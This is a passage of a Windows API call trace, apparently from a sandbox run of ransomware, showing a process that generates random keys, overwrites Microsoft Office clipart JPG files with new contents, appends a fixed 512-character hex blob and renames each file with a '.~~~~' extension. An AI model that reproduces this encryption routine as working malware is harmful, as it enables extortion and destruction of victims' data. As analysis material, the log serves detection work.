	[0108.080] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a3af0
	[0108.080] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0108.080] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2827d98
	[0108.080] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a3af0 | out: hHeap=0x300000) returned 1
	[0108.080] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0108.081] GetLastError () returned 0x0
	[0108.081] GetLastError () returned 0x0
	[0108.081] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0108.081] GetLastError () returned 0x0
	[0108.081] GetLastError () returned 0x0
	[0108.187] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xffffc281, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.216] WriteFile (in: hFile=0x140, lpBuffer=0x29b8090*, nNumberOfBytesToWrite=0x3d7f, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29b8090*, lpNumberOfBytesWritten=0x24dfec0*=0x3d7f, lpOverlapped=0x0) returned 1
	[0108.217] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29b8090 | out: hHeap=0x300000) returned 1
	[0108.217] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.217] WriteFile (in: hFile=0x140, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0108.218] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0108.218] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0108.218] CloseHandle (hObject=0x140) returned 1
	[0108.218] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a2bd8
	[0108.218] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341654.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341654.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341654.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341654.jpg.~~~~")) returned 1
	[0108.219] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a2bd8 | out: hHeap=0x300000) returned 1
	[0108.219] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0108.219] GetLastError () returned 0x0
	[0108.314] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0108.315] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0108.315] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0108.316] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0108.316] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0108.316] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0108.316] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=22830587718) returned 1
	[0108.316] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xaa370ab0, dwHighDateTime=0x1d60e1e)) 
	[0108.316] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0108.316] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0108.316] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0108.316] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a6710
	[0108.316] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0108.316] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a6710 | out: hHeap=0x300000) returned 1
	[0108.316] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0108.316] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0108.316] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a2bd8
	[0108.316] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0108.316] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2866df8
	[0108.316] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a2bd8 | out: hHeap=0x300000) returned 1
	[0108.316] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0108.317] GetLastError () returned 0x0
	[0108.317] GetLastError () returned 0x0
	[0108.317] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0108.317] GetLastError () returned 0x0
	[0108.317] GetLastError () returned 0x0
	[0108.333] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xfffe9ac6, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.334] WriteFile (in: hFile=0x140, lpBuffer=0x2916058*, nNumberOfBytesToWrite=0x1653a, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2916058*, lpNumberOfBytesWritten=0x24dfec0*=0x1653a, lpOverlapped=0x0) returned 1
	[0108.335] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2916058 | out: hHeap=0x300000) returned 1
	[0108.335] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.335] WriteFile (in: hFile=0x140, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0108.335] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0108.335] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0108.335] CloseHandle (hObject=0x140) returned 1
	[0108.336] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a2bd8
	[0108.336] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382942.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382942.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382942.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382942.jpg.~~~~")) returned 1
	[0108.337] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a2bd8 | out: hHeap=0x300000) returned 1
	[0108.337] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0108.337] GetLastError () returned 0x0
	[0108.337] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0108.339] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0108.339] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0108.339] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0108.339] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0108.339] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0108.339] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=22832903398) returned 1
	[0108.339] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xaa3bcd70, dwHighDateTime=0x1d60e1e)) 
	[0108.339] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0108.339] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0108.339] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0108.339] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2807d80
	[0108.339] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0108.339] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2807d80 | out: hHeap=0x300000) returned 1
	[0108.339] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0108.340] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0108.340] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a2bd8
	[0108.340] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0108.340] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28284b8
	[0108.340] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a2bd8 | out: hHeap=0x300000) returned 1
	[0108.340] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0108.340] GetLastError () returned 0x0
	[0108.340] GetLastError () returned 0x0
	[0108.340] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0108.340] GetLastError () returned 0x0
	[0108.341] GetLastError () returned 0x0
	[0108.351] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.352] WriteFile (in: hFile=0x140, lpBuffer=0x2916058*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2916058*, lpNumberOfBytesWritten=0x24dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0108.353] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2916058 | out: hHeap=0x300000) returned 1
	[0108.353] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.353] WriteFile (in: hFile=0x140, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0108.353] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0108.353] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0108.353] CloseHandle (hObject=0x140) returned 1
	[0108.353] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a2bd8
	[0108.353] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382958.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382958.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382958.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382958.jpg.~~~~")) returned 1
	[0108.354] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a2bd8 | out: hHeap=0x300000) returned 1
	[0108.354] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0108.354] GetLastError () returned 0x0
	[0108.355] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0108.357] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0108.357] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0108.357] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0108.357] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0108.357] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0108.357] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=22834697929) returned 1
	[0108.357] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xaa3e2ed0, dwHighDateTime=0x1d60e1e)) 
	[0108.357] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0108.357] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0108.357] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0108.357] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2807df0
	[0108.357] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0108.357] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2807df0 | out: hHeap=0x300000) returned 1
	[0108.357] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0108.357] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0108.357] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a2bd8
	[0108.357] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0108.357] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2828a10
	[0108.358] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a2bd8 | out: hHeap=0x300000) returned 1
	[0108.358] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0108.358] GetLastError () returned 0x0
	[0108.358] GetLastError () returned 0x0
	[0108.358] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0108.358] GetLastError () returned 0x0
	[0108.358] GetLastError () returned 0x0
	[0108.361] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.362] WriteFile (in: hFile=0x140, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x24dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0108.363] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0108.363] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.363] WriteFile (in: hFile=0x140, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0108.364] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0108.364] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0108.364] CloseHandle (hObject=0x140) returned 1
	[0108.364] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a2bd8
	[0108.364] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382960.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382960.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382960.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382960.jpg.~~~~")) returned 1
	[0108.365] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a2bd8 | out: hHeap=0x300000) returned 1
	[0108.365] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0108.365] GetLastError () returned 0x0
	[0108.365] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0108.367] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0108.367] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0108.367] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0108.367] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0108.367] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0108.367] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=22835693759) returned 1
	[0108.367] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xaa409030, dwHighDateTime=0x1d60e1e)) 
	[0108.367] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0108.367] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0108.367] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0108.367] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2807e28
	[0108.367] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0108.367] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2807e28 | out: hHeap=0x300000) returned 1
	[0108.367] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0108.367] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0108.367] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a2bd8
	[0108.367] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0108.367] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2828b40
	[0108.367] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a2bd8 | out: hHeap=0x300000) returned 1
	[0108.368] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0108.368] GetLastError () returned 0x0
	[0108.368] GetLastError () returned 0x0
	[0108.368] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0108.368] GetLastError () returned 0x0
	[0108.368] GetLastError () returned 0x0
	[0108.371] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xfffe753c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.371] WriteFile (in: hFile=0x140, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x18ac4, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x24dfec0*=0x18ac4, lpOverlapped=0x0) returned 1
	[0108.372] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0108.372] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.372] WriteFile (in: hFile=0x140, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0108.373] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0108.373] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0108.373] CloseHandle (hObject=0x140) returned 1
	[0108.373] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a2bd8
	[0108.373] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382961.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382961.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382961.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382961.jpg.~~~~")) returned 1
	[0108.374] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a2bd8 | out: hHeap=0x300000) returned 1
	[0108.374] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0108.374] GetLastError () returned 0x0
	[0108.375] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0108.376] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0108.376] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0108.376] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0108.376] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0108.376] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0108.376] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=22836601126) returned 1
	[0108.376] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xaa409030, dwHighDateTime=0x1d60e1e)) 
	[0108.376] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0108.376] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0108.376] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0108.376] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2807e60
	[0108.376] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0108.376] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2807e60 | out: hHeap=0x300000) returned 1
